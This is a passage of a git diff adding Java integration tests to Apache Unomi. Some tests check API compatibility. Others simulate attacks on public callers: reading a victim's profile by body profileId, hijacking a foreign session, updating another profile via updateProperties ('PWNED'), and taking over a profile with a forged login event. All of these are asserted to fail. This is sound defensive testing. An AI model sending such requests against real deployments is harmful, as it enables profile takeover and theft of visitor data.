+ assertEquals("and its session", sessionId, second.getContextResponse().getSessionId());
+ }
+
+ /** The GET form with ?payload= must behave like the POST form. This entry point had no coverage. */
+ @Test
+ public void compat_getWithPayloadBehavesLikePost() throws Exception {
+ String sessionId = "baseline-get-" + System.currentTimeMillis();
+ TestUtils.RequestResponse established = postContextJson(newContextRequest(sessionId), null, sessionId);
+ String profileId = established.getContextResponse().getProfileId();
+
+ HttpGet get = new HttpGet(getFullUrl(CONTEXT_JSON_URL) + "?payload=" + encode(newContextRequest(sessionId)));
+ get.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue);
+ get.addHeader("Cookie", established.getCookieHeaderValue());
+ TestUtils.RequestResponse response = TestUtils.executeContextJSONRequest(get, sessionId, getObjectMapper());
+
+ assertEquals(200, response.getStatusCode());
+ assertEquals("GET ?payload= must resolve the same profile as POST", profileId,
+ response.getContextResponse().getProfileId());
+ }
+
+ /** /cxs/context.js must keep serving JavaScript to script-tag clients. */
+ @Test
+ public void compat_contextJsServesJavaScript() throws Exception {
+ String sessionId = "baseline-js-" + System.currentTimeMillis();
+ HttpGet get = new HttpGet(getFullUrl(CONTEXT_JS_URL) + "?sessionId=" + sessionId);
+ get.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue);
+
+ try (CloseableHttpResponse response = HttpClientThatWaitsForUnomi.doRequest(get)) {
+ assertEquals(200, response.getStatusLine().getStatusCode());
+ String body = EntityUtils.toString(response.getEntity());
+ // Same marker BasicIT asserts on: context.js emits the digitalData bootstrap that
+ // script-tag clients rely on. Asserting the marker, not just a 200, so an empty or
+ // error body cannot pass as success.
+ assertTrue("context.js must return the tracker javascript, got: "
+ + body.substring(0, Math.min(200, body.length())),
+ body.contains("window.digitalData"));
+ }
+ }
+
+ /** Event collection over POST must keep working and report the event as processed. */
+ @Test
+ public void compat_eventCollectorAcceptsEvents() throws Exception {
+ String sessionId = "baseline-ec-" + System.currentTimeMillis();
+ TestUtils.RequestResponse established = postContextJson(newContextRequest(sessionId), null, sessionId);
+
+ HttpPost post = new HttpPost(getFullUrl(EVENT_COLLECTOR_URL));
+ post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue);
+ post.addHeader("Cookie", established.getCookieHeaderValue());
+ post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(newEventsRequest(sessionId)),
+ ContentType.APPLICATION_JSON));
+
+ try (CloseableHttpResponse response = HttpClientThatWaitsForUnomi.doRequest(post)) {
+ assertEquals("the eventcollector must keep accepting events from a cookie-bearing client",
+ 200, response.getStatusLine().getStatusCode());
+ }
+ }
+
+ /** The eventcollector GET form with ?payload= — another entry point that had no coverage. */
+ @Test
+ public void compat_eventCollectorGetWithPayload() throws Exception {
+ String sessionId = "baseline-ecget-" + System.currentTimeMillis();
+ TestUtils.RequestResponse established = postContextJson(newContextRequest(sessionId), null, sessionId);
+
+ HttpGet get = new HttpGet(getFullUrl(EVENT_COLLECTOR_URL) + "?payload=" + encode(newEventsRequest(sessionId)));
+ get.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue);
+ get.addHeader("Cookie", established.getCookieHeaderValue());
+
+ try (CloseableHttpResponse response = HttpClientThatWaitsForUnomi.doRequest(get)) {
+ assertEquals(200, response.getStatusLine().getStatusCode());
+ }
+ }
+
+ /** A client may continue its own session across requests without re-establishing it. */
+ @Test
+ public void compat_sessionContinuityAcrossRequests() throws Exception {
+ String sessionId = "baseline-cont-" + System.currentTimeMillis();
+ TestUtils.RequestResponse first = postContextJson(newContextRequest(sessionId), null, sessionId);
+
+ for (int i = 0; i < 3; i++) {
+ TestUtils.RequestResponse next = postContextJson(newContextRequest(sessionId), first.getCookieHeaderValue(), sessionId);
+ assertEquals(200, next.getStatusCode());
+ assertEquals("the client's own session must never be refused", sessionId,
+ next.getContextResponse().getSessionId());
+ }
+ }
+
+ // ------------------------------------------------------------------ hardened group
+ // Expected to FAIL on the pre-hardening baseline and PASS after. That contrast is the point.
+
+ /**
+ * A public caller must not be able to read another visitor's profile by naming it in the body.
+ *
+ * The attack request carries ONLY the body profileId - no cookie and no session - because that is
+ * what makes this discriminating. An earlier version of this test also sent a session owned by the
+ * caller, and on the pre-hardening baseline the session-recovery logic switched the profile back
+ * to the session owner, masking the body profileId entirely and making the test pass on both
+ * sides. Asserting on the victim's actual data rather than on an echoed id keeps it honest.
+ */
+ @Test
+ public void hardened_publicBodyProfileIdIsIgnored() throws Exception {
+ String victimProfileId = "baseline-victim-" + System.currentTimeMillis();
+ String victimSecret = "baseline-secret-" + System.currentTimeMillis();
+ Profile victim = new Profile(victimProfileId);
+ victim.setProperty("baselineSecret", victimSecret);
+ profileService.save(victim);
+ keepTrying("Victim profile should be saved", () -> profileService.load(victimProfileId),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ try {
+ ContextRequest claim = new ContextRequest();
+ claim.setProfileId(victimProfileId);
+ claim.setRequiredProfileProperties(Collections.singletonList("*"));
+ CustomItem source = new CustomItem("baseline-page", "page");
+ source.setScope(TEST_SCOPE);
+ claim.setSource(source);
+
+ HttpPost post = new HttpPost(getFullUrl(CONTEXT_JSON_URL));
+ post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue);
+ post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(claim), ContentType.APPLICATION_JSON));
+
+ // Plain client, not HttpClientThatWaitsForUnomi: the hardened branch answers 400 here
+ // (nothing left to bind once the body profileId is ignored), and that helper retries
+ // non-2xx and then throws, which would mask the very behaviour under test.
+ try (CloseableHttpResponse response = httpClient.execute(post)) {
+ String body = response.getEntity() == null ? "" : EntityUtils.toString(response.getEntity());
+ assertFalse("a public caller must not receive the victim's profile properties, got: "
+ + body.substring(0, Math.min(300, body.length())),
+ body.contains(victimSecret));
+ assertFalse("a public caller must not be bound to the victim's profile id",
+ body.contains(victimProfileId));
+ }
+ } finally {
+ profileService.delete(victimProfileId, false);
+ }
+ }
+
+ /** A public caller must not be able to adopt a session belonging to someone else. */
+ @Test
+ public void hardened_publicCallerCannotAdoptAForeignSession() throws Exception {
+ String victimSessionId = "baseline-victim-sess-" + System.currentTimeMillis();
+ TestUtils.RequestResponse victim = postContextJson(newContextRequest(victimSessionId), null, victimSessionId);
+ String victimProfileId = victim.getContextResponse().getProfileId();
+
+ String attackerSessionId = "baseline-attacker-sess-" + System.currentTimeMillis();
+ TestUtils.RequestResponse attacker = postContextJson(newContextRequest(attackerSessionId), null, attackerSessionId);
+
+ // Attacker presents the victim's session id with its own cookie.
+ TestUtils.RequestResponse hijack = postContextJson(newContextRequest(victimSessionId),
+ attacker.getCookieHeaderValue(), victimSessionId);
+
+ assertEquals(200, hijack.getStatusCode());
+ assertTrue("the attacker must not end up on the victim's profile",
+ !victimProfileId.equals(hijack.getContextResponse().getProfileId()));
+ }
+
+ // ------------------------------------------------------------------ helpers
+
+ private ContextRequest newContextRequest(String sessionId) {
+ ContextRequest contextRequest = new ContextRequest();
+ contextRequest.setSessionId(sessionId);
+ CustomItem source = new CustomItem("baseline-page", "page");
+ source.setScope(TEST_SCOPE);
+ contextRequest.setSource(source);
+ return contextRequest;
+ }
+
+ private EventsCollectorRequest newEventsRequest(String sessionId) {
+ Event event = new Event();
+ event.setEventType("view");
+ event.setScope(TEST_SCOPE);
+ EventsCollectorRequest eventsRequest = new EventsCollectorRequest();
+ eventsRequest.setSessionId(sessionId);
+ eventsRequest.setEvents(Collections.singletonList(event));
+ return eventsRequest;
+ }
+
+ private TestUtils.RequestResponse postContextJson(ContextRequest contextRequest, String cookie, String sessionId)
+ throws Exception {
+ HttpPost post = new HttpPost(getFullUrl(CONTEXT_JSON_URL));
+ post.addHeader(UNOMI_API_KEY_HTTP_HEADER_KEY, testPublicKeyValue);
+ if (cookie != null) {
+ post.addHeader("Cookie", cookie);
+ }
+ post.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
+ return TestUtils.executeContextJSONRequest(post, sessionId, getObjectMapper());
+ }
+
+ private String encode(Object payload) throws Exception {
+ return URLEncoder.encode(getObjectMapper().writeValueAsString(payload), StandardCharsets.UTF_8.name());
+ }
+}
diff --git a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java
index e714ac218d..3e8d6e8f9a 100644
--- a/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/ContextServletIT.java
@@ -11,7 +11,7 @@
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language gtestCreateEventWithPropertiesValidation_Successoverning permissions and
+ * See the License for the specific language governing permissions and
* limitations under the License
*/
@@ -34,6 +34,8 @@
import org.apache.http.client.config.RequestConfig;
import org.apache.unomi.api.*;
import org.apache.unomi.api.conditions.Condition;
+import org.apache.unomi.api.conditions.ConditionType;
+import org.apache.unomi.api.rules.Rule;
import org.apache.unomi.api.segments.Scoring;
import org.apache.unomi.api.segments.Segment;
import org.apache.unomi.api.tenants.ApiKey;
@@ -48,6 +50,8 @@
import org.ops4j.pax.exam.junit.PaxExam;
import org.ops4j.pax.exam.spi.reactors.ExamReactorStrategy;
import org.ops4j.pax.exam.spi.reactors.PerSuite;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
import java.io.File;
import java.net.URI;
@@ -66,6 +70,8 @@
@RunWith(PaxExam.class)
@ExamReactorStrategy(PerSuite.class)
public class ContextServletIT extends BaseIT {
+ private final static Logger LOGGER = LoggerFactory.getLogger(ContextServletIT.class);
+
private final static String CONTEXT_URL = "/cxs/context.json";
private final static String UNOMI_API_KEY_HTTP_HEADER_KEY = "X-Unomi-Api-Key";
@@ -123,6 +129,22 @@ public void setUp() throws InterruptedException {
@After
public void tearDown() throws InterruptedException {
+ // The login-merge tests register this rule and remove it on their happy path, but an
+ // assertion failing earlier would leave it behind. The suite shares one Karaf container
+ // (PerSuite), so a stray rule reacting to every login event would leak into later tests.
+ //
+ // Guarded: if this threw, it would abort tearDown before the event/session cleanup below,
+ // silently polluting the shared container for every later test with a failure that looks
+ // unrelated. A rule that cannot be removed is worth reporting, not worth losing the rest
+ // of the cleanup over.
+ try {
+ if (rulesService.getRule("testLogin") != null) {
+ rulesService.removeRule("testLogin");
+ }
+ } catch (RuntimeException e) {
+ LOGGER.warn("Could not remove the testLogin rule during tearDown; later tests in this "
+ + "suite may see it", e);
+ }
persistenceService.refresh();
TestUtils.removeAllEvents(definitionsService, persistenceService, true, tenantService, executionContextManager);
TestUtils.removeAllSessions(definitionsService, persistenceService, true, tenantService, executionContextManager);
@@ -419,6 +441,511 @@ public void testCreateEventWithTimestampParam_futureEvent_profileIsNotAddedToSeg
DEFAULT_SHOULDBETRUE_TRIES);
}
+ @Test
+ public void testPublicCaller_mismatchedBodyProfileId_ignored() throws Exception {
+ String sessionId = "mismatch-session-" + System.currentTimeMillis();
+
+ ContextRequest firstRequest = new ContextRequest();
+ firstRequest.setSessionId(sessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(firstRequest), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, sessionId);
+ assertEquals(200, established.getStatusCode());
+ String cookieProfileId = established.getContextResponse().getProfileId();
+ assertNotNull(cookieProfileId);
+ assertNotNull(established.getCookieHeaderValue());
+
+ String attackerProfileId = "attacker-body-profile-" + System.currentTimeMillis();
+ ContextRequest mismatchRequest = new ContextRequest();
+ mismatchRequest.setSessionId(sessionId);
+ mismatchRequest.setProfileId(attackerProfileId);
+ HttpPost mismatch = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(mismatch);
+ mismatch.addHeader("Cookie", established.getCookieHeaderValue());
+ mismatch.setEntity(new StringEntity(getObjectMapper().writeValueAsString(mismatchRequest), ContentType.APPLICATION_JSON));
+ RequestResponse mismatched = executeContextJSONRequest(mismatch, sessionId);
+
+ assertEquals(200, mismatched.getStatusCode());
+ assertEquals("Public caller must keep cookie profile when body profileId differs",
+ cookieProfileId, mismatched.getContextResponse().getProfileId());
+ assertNull("Attacker-supplied profileId must not be created", profileService.load(attackerProfileId));
+ }
+
+ /**
+ * End-to-end guard for anonymous browsing. The session-ownership check added for public callers
+ * deliberately skips anonymous profiles today; any future tightening of it must not detach the
+ * session of a visitor who is legitimately browsing anonymously. That failure would be invisible
+ * at unit level in the endpoint wiring, hence this IT: it asserts the visitor's own session id is
+ * still echoed back (a refused session is suppressed from the response) after anonymisation.
+ */
+ @Test
+ public void testAnonymousBrowsing_visitorKeepsItsOwnSession() throws Exception {
+ String sessionId = "anon-browsing-session-" + System.currentTimeMillis();
+
+ ContextRequest firstRequest = new ContextRequest();
+ firstRequest.setSessionId(sessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(firstRequest), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, sessionId);
+ assertEquals(200, established.getStatusCode());
+ String profileId = established.getContextResponse().getProfileId();
+ assertNotNull(profileId);
+ assertNotNull(established.getCookieHeaderValue());
+
+ // Turn on anonymous browsing for this visitor, exactly as the privacy endpoint would.
+ privacyService.setRequireAnonymousBrowsing(profileId, true, TEST_SCOPE);
+ keepTrying("Anonymous browsing should be enabled for the profile",
+ () -> privacyService.isRequireAnonymousBrowsing(profileId),
+ Boolean.TRUE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ try {
+ // Same visitor, same cookie, same session: must still be served, and the session kept.
+ ContextRequest secondRequest = new ContextRequest();
+ secondRequest.setSessionId(sessionId);
+ HttpPost anonymous = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(anonymous);
+ anonymous.addHeader("Cookie", established.getCookieHeaderValue());
+ anonymous.setEntity(new StringEntity(getObjectMapper().writeValueAsString(secondRequest), ContentType.APPLICATION_JSON));
+ RequestResponse anonymousResponse = executeContextJSONRequest(anonymous, sessionId);
+
+ assertEquals(200, anonymousResponse.getStatusCode());
+ assertNotNull("An anonymous visitor's own session must not be refused",
+ anonymousResponse.getContextResponse().getSessionId());
+ assertEquals(sessionId, anonymousResponse.getContextResponse().getSessionId());
+
+ // And turning anonymity back off must keep working too (the de-anonymising branch).
+ privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE);
+ keepTrying("Anonymous browsing should be disabled again",
+ () -> privacyService.isRequireAnonymousBrowsing(profileId),
+ Boolean.FALSE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest thirdRequest = new ContextRequest();
+ thirdRequest.setSessionId(sessionId);
+ HttpPost deanonymised = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(deanonymised);
+ deanonymised.addHeader("Cookie", established.getCookieHeaderValue());
+ deanonymised.setEntity(new StringEntity(getObjectMapper().writeValueAsString(thirdRequest), ContentType.APPLICATION_JSON));
+ RequestResponse deanonymisedResponse = executeContextJSONRequest(deanonymised, sessionId);
+
+ assertEquals(200, deanonymisedResponse.getStatusCode());
+ assertNotNull("Leaving anonymous browsing must not refuse the visitor's own session",
+ deanonymisedResponse.getContextResponse().getSessionId());
+ } finally {
+ privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE);
+ }
+ }
+
+ /**
+ * Personas short-circuit profile binding entirely: the profile and session both come from the
+ * persona and none of the cookie/body binding logic runs. Nothing covered that path end to end,
+ * so a change to the binding code could silently break persona preview.
+ */
+ @Test
+ public void testPersona_contextJsonBindsToThePersona() throws Exception {
+ String personaId = "it-persona-" + System.currentTimeMillis();
+ profileService.createPersona(personaId);
+ keepTrying("Persona should be created", () -> profileService.loadPersonaWithSessions(personaId),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ try {
+ ContextRequest contextRequest = new ContextRequest();
+ HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL) + "?personaId=" + personaId);
+ addPublicTenantAuth(request);
+ request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
+ RequestResponse response = executeContextJSONRequest(request, null);
+
+ assertEquals(200, response.getStatusCode());
+ assertEquals("The context response must be bound to the persona, not a live profile",
+ personaId, response.getContextResponse().getProfileId());
+ } finally {
+ profileService.delete(personaId, true);
+ }
+ }
+
+ /**
+ * profileOverrides / sessionPropertiesOverrides are the preview-UI feature that lets a caller
+ * temporarily substitute segments, scores and properties. They had no coverage at all, and they
+ * are only honoured when the active profile is a Persona ({@code ContextJsonEndpoint#processOverrides}),
+ * which is exactly what keeps a public caller from overriding a real profile. Pin both halves:
+ * the override applies for a persona, and the persona path is unaffected by the binding rules.
+ */
+ @Test
+ public void testPersona_profileOverridesAreApplied() throws Exception {
+ String personaId = "it-persona-overrides-" + System.currentTimeMillis();
+ profileService.createPersona(personaId);
+ keepTrying("Persona should be created", () -> profileService.loadPersonaWithSessions(personaId),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ try {
+ Profile overrides = new Profile();
+ overrides.setSegments(new HashSet<>(Arrays.asList("override-segment-a", "override-segment-b")));
+
+ ContextRequest contextRequest = new ContextRequest();
+ contextRequest.setRequireSegments(true);
+ contextRequest.setProfileOverrides(overrides);
+
+ HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL) + "?personaId=" + personaId);
+ addPublicTenantAuth(request);
+ request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
+ RequestResponse response = executeContextJSONRequest(request, null);
+
+ assertEquals(200, response.getStatusCode());
+ assertEquals(personaId, response.getContextResponse().getProfileId());
+ assertNotNull("requireSegments must return the segment set", response.getContextResponse().getProfileSegments());
+ assertTrue("profileOverrides segments must be reflected for a persona",
+ response.getContextResponse().getProfileSegments().contains("override-segment-a"));
+ } finally {
+ profileService.delete(personaId, true);
+ }
+ }
+
+ @Test
+ public void testPublicCaller_sessionProfileSwitchWithoutMatchingCookie_refused() throws Exception {
+ String sessionOwnerId = "session-owner-" + System.currentTimeMillis();
+ String sessionId = "hijack-session-" + System.currentTimeMillis();
+ Profile sessionOwner = new Profile(sessionOwnerId);
+ profileService.save(sessionOwner);
+ Session foreignSession = new Session(sessionId, sessionOwner, new Date(), TEST_SCOPE);
+ profileService.saveSession(foreignSession);
+ keepTrying("Session owner not found", () -> profileService.load(sessionOwnerId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+ keepTrying("Foreign session not found", () -> profileService.loadSession(sessionId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest cookieEstablish = new ContextRequest();
+ cookieEstablish.setSessionId("cookie-session-" + System.currentTimeMillis());
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(cookieEstablish), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, cookieEstablish.getSessionId());
+ String cookieProfileId = established.getContextResponse().getProfileId();
+ assertNotEquals(sessionOwnerId, cookieProfileId);
+
+ ContextRequest hijack = new ContextRequest();
+ hijack.setSessionId(sessionId);
+ hijack.setProfileId(cookieProfileId);
+ HttpPost hijackRequest = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(hijackRequest);
+ hijackRequest.addHeader("Cookie", established.getCookieHeaderValue());
+ hijackRequest.setEntity(new StringEntity(getObjectMapper().writeValueAsString(hijack), ContentType.APPLICATION_JSON));
+ RequestResponse hijacked = executeContextJSONRequest(hijackRequest, sessionId);
+
+ assertEquals("Public caller must not adopt a foreign session profile",
+ cookieProfileId, hijacked.getContextResponse().getProfileId());
+ Session reloaded = profileService.loadSession(sessionId);
+ assertEquals("Foreign session ownership must remain unchanged",
+ sessionOwnerId, reloaded.getProfileId());
+ }
+
+ @Test
+ public void testTrustedPrivateKey_mayOverrideBodyProfileId() throws Exception {
+ String cookieSessionId = "trusted-cookie-session-" + System.currentTimeMillis();
+ ContextRequest first = new ContextRequest();
+ first.setSessionId(cookieSessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(first), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, cookieSessionId);
+ assertNotNull(established.getCookieHeaderValue());
+
+ String overrideProfileId = "admin-chosen-profile-" + System.currentTimeMillis();
+ Profile overrideProfile = new Profile(overrideProfileId);
+ profileService.save(overrideProfile);
+ keepTrying("Override profile not found", () -> profileService.load(overrideProfileId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest override = new ContextRequest();
+ override.setSessionId(cookieSessionId);
+ override.setProfileId(overrideProfileId);
+ HttpPost trusted = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(trusted, testTenant, testPrivateKeyValue);
+ trusted.addHeader("Cookie", established.getCookieHeaderValue());
+ trusted.setEntity(new StringEntity(getObjectMapper().writeValueAsString(override), ContentType.APPLICATION_JSON));
+ RequestResponse overridden = executeContextJSONRequest(trusted, cookieSessionId, -1, false);
+
+ assertEquals(200, overridden.getStatusCode());
+ assertEquals("Trusted private key may select body profileId over cookie",
+ overrideProfileId, overridden.getContextResponse().getProfileId());
+ }
+
+ @Test
+ public void testPublicHttp_updateProperties_cannotUpdateAnotherProfile() throws Exception {
+ String victimId = "update-victim-" + System.currentTimeMillis();
+ Profile victim = new Profile(victimId);
+ profileService.save(victim);
+ keepTrying("Victim profile not found", () -> profileService.load(victimId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ String sessionId = "update-attacker-session-" + System.currentTimeMillis();
+ ContextRequest establishReq = new ContextRequest();
+ establishReq.setSessionId(sessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, sessionId);
+
+ Event updateEvent = new Event();
+ updateEvent.setEventType("updateProperties");
+ updateEvent.setScope(TEST_SCOPE);
+ Map props = new HashMap<>();
+ props.put("targetId", victimId);
+ props.put("targetType", "profile");
+ Map toUpdate = new HashMap<>();
+ toUpdate.put("properties.firstName", "PWNED");
+ props.put("update", toUpdate);
+ updateEvent.setProperties(props);
+
+ ContextRequest attack = new ContextRequest();
+ attack.setSessionId(sessionId);
+ attack.setEvents(Collections.singletonList(updateEvent));
+ HttpPost attackRequest = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(attackRequest);
+ attackRequest.addHeader("Cookie", established.getCookieHeaderValue());
+ attackRequest.setEntity(new StringEntity(getObjectMapper().writeValueAsString(attack), ContentType.APPLICATION_JSON));
+ executeContextJSONRequest(attackRequest, sessionId);
+
+ shouldBeTrueUntilEnd("Victim profile must not be updated by public updateProperties",
+ () -> profileService.load(victimId),
+ p -> p.getProperty("firstName") == null,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_SHOULDBETRUE_TRIES);
+ }
+
+ @Test
+ public void testPrivateKeyHttp_updateProperties_canUpdateAnotherProfile() throws Exception {
+ String victimId = "trusted-update-victim-" + System.currentTimeMillis();
+ Profile victim = new Profile(victimId);
+ profileService.save(victim);
+ keepTrying("Victim profile not found", () -> profileService.load(victimId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ String sessionId = "trusted-update-session-" + System.currentTimeMillis();
+ ContextRequest establishReq = new ContextRequest();
+ establishReq.setSessionId(sessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, sessionId);
+
+ Event updateEvent = new Event();
+ updateEvent.setEventType("updateProperties");
+ updateEvent.setScope(TEST_SCOPE);
+ Map props = new HashMap<>();
+ props.put("targetId", victimId);
+ props.put("targetType", "profile");
+ Map toUpdate = new HashMap<>();
+ toUpdate.put("properties.firstName", "TRUSTED_HTTP");
+ props.put("update", toUpdate);
+ updateEvent.setProperties(props);
+
+ ContextRequest update = new ContextRequest();
+ update.setSessionId(sessionId);
+ update.setEvents(Collections.singletonList(updateEvent));
+ HttpPost trusted = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(trusted, testTenant, testPrivateKeyValue);
+ trusted.addHeader("Cookie", established.getCookieHeaderValue());
+ trusted.setEntity(new StringEntity(getObjectMapper().writeValueAsString(update), ContentType.APPLICATION_JSON));
+ executeContextJSONRequest(trusted, sessionId, -1, false);
+
+ waitForProfileProperty(victimId, "firstName", "TRUSTED_HTTP");
+ }
+
+ @Test
+ public void testPublicHttpLogin_cannotMergeIntoExistingVictimProfile() throws Exception {
+ ConditionType conditionType = getObjectMapper().readValue(
+ new File("data/tmp/testLoginEventCondition.json").toURI().toURL(), ConditionType.class);
+ definitionsService.setConditionType(conditionType);
+ keepTrying("loginEventCondition not registered",
+ () -> definitionsService.getConditionType("loginEventCondition"),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+ Rule rule = getObjectMapper().readValue(new File("data/tmp/testLogin.json").toURI().toURL(), Rule.class);
+ createAndWaitForRule(rule);
+
+ String victimEmail = "victim-takeover-" + System.currentTimeMillis() + "@example.com";
+ String victimId = "victim-merge-" + System.currentTimeMillis();
+ Profile victim = new Profile(victimId);
+ victim.setProperty("email", victimEmail);
+ victim.setSystemProperty("mergeIdentifier", victimEmail);
+ profileService.save(victim);
+ keepTrying("Victim not found", () -> profileService.load(victimId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ String sessionId = "attacker-merge-session-" + System.currentTimeMillis();
+ ContextRequest pageView = new ContextRequest();
+ pageView.setSessionId(sessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(pageView), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, sessionId);
+ String attackerId = established.getContextResponse().getProfileId();
+ assertNotEquals(victimId, attackerId);
+
+ CustomItem loginTarget = new CustomItem(victimEmail, "visitor");
+ Map loginProps = new HashMap<>();
+ loginProps.put("email", victimEmail);
+ loginTarget.setProperties(loginProps);
+ Event login = new Event();
+ login.setEventType("login");
+ login.setScope(TEST_SCOPE);
+ login.setTarget(loginTarget);
+ login.setTimeStamp(new Date());
+
+ ContextRequest loginRequest = new ContextRequest();
+ loginRequest.setSessionId(sessionId);
+ loginRequest.setEvents(Collections.singletonList(login));
+ HttpPost attack = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(attack);
+ attack.addHeader("Cookie", established.getCookieHeaderValue());
+ attack.setEntity(new StringEntity(getObjectMapper().writeValueAsString(loginRequest), ContentType.APPLICATION_JSON));
+ RequestResponse afterLogin = executeContextJSONRequest(attack, sessionId);
+
+ assertEquals("Public login must not take over the victim profile",
+ attackerId, afterLogin.getContextResponse().getProfileId());
+ assertNotNull(profileService.load(victimId));
+ rulesService.removeRule("testLogin");
+ }
+
+ /**
+ * Counterpart to {@link #testPublicHttpLogin_cannotMergeIntoExistingVictimProfile()}: the merge
+ * must still work end to end for a trusted caller, over real HTTP through the auth filter and
+ * the rules engine, not just when the subject is set programmatically.
+ */
+ @Test
+ public void testPrivateKeyHttpLogin_canMergeIntoExistingProfile() throws Exception {
+ ConditionType conditionType = getObjectMapper().readValue(
+ new File("data/tmp/testLoginEventCondition.json").toURI().toURL(), ConditionType.class);
+ definitionsService.setConditionType(conditionType);
+ keepTrying("loginEventCondition not registered",
+ () -> definitionsService.getConditionType("loginEventCondition"),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+ Rule rule = getObjectMapper().readValue(new File("data/tmp/testLogin.json").toURI().toURL(), Rule.class);
+ createAndWaitForRule(rule);
+
+ String knownEmail = "trusted-merge-" + System.currentTimeMillis() + "@example.com";
+ String knownProfileId = "trusted-merge-known-" + System.currentTimeMillis();
+ Profile known = new Profile(knownProfileId);
+ known.setProperty("email", knownEmail);
+ known.setSystemProperty("mergeIdentifier", knownEmail);
+ profileService.save(known);
+ keepTrying("Known profile not found", () -> profileService.load(knownProfileId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ // Anonymous browsing first, exactly as a visitor would before logging in.
+ String sessionId = "trusted-merge-session-" + System.currentTimeMillis();
+ ContextRequest pageView = new ContextRequest();
+ pageView.setSessionId(sessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
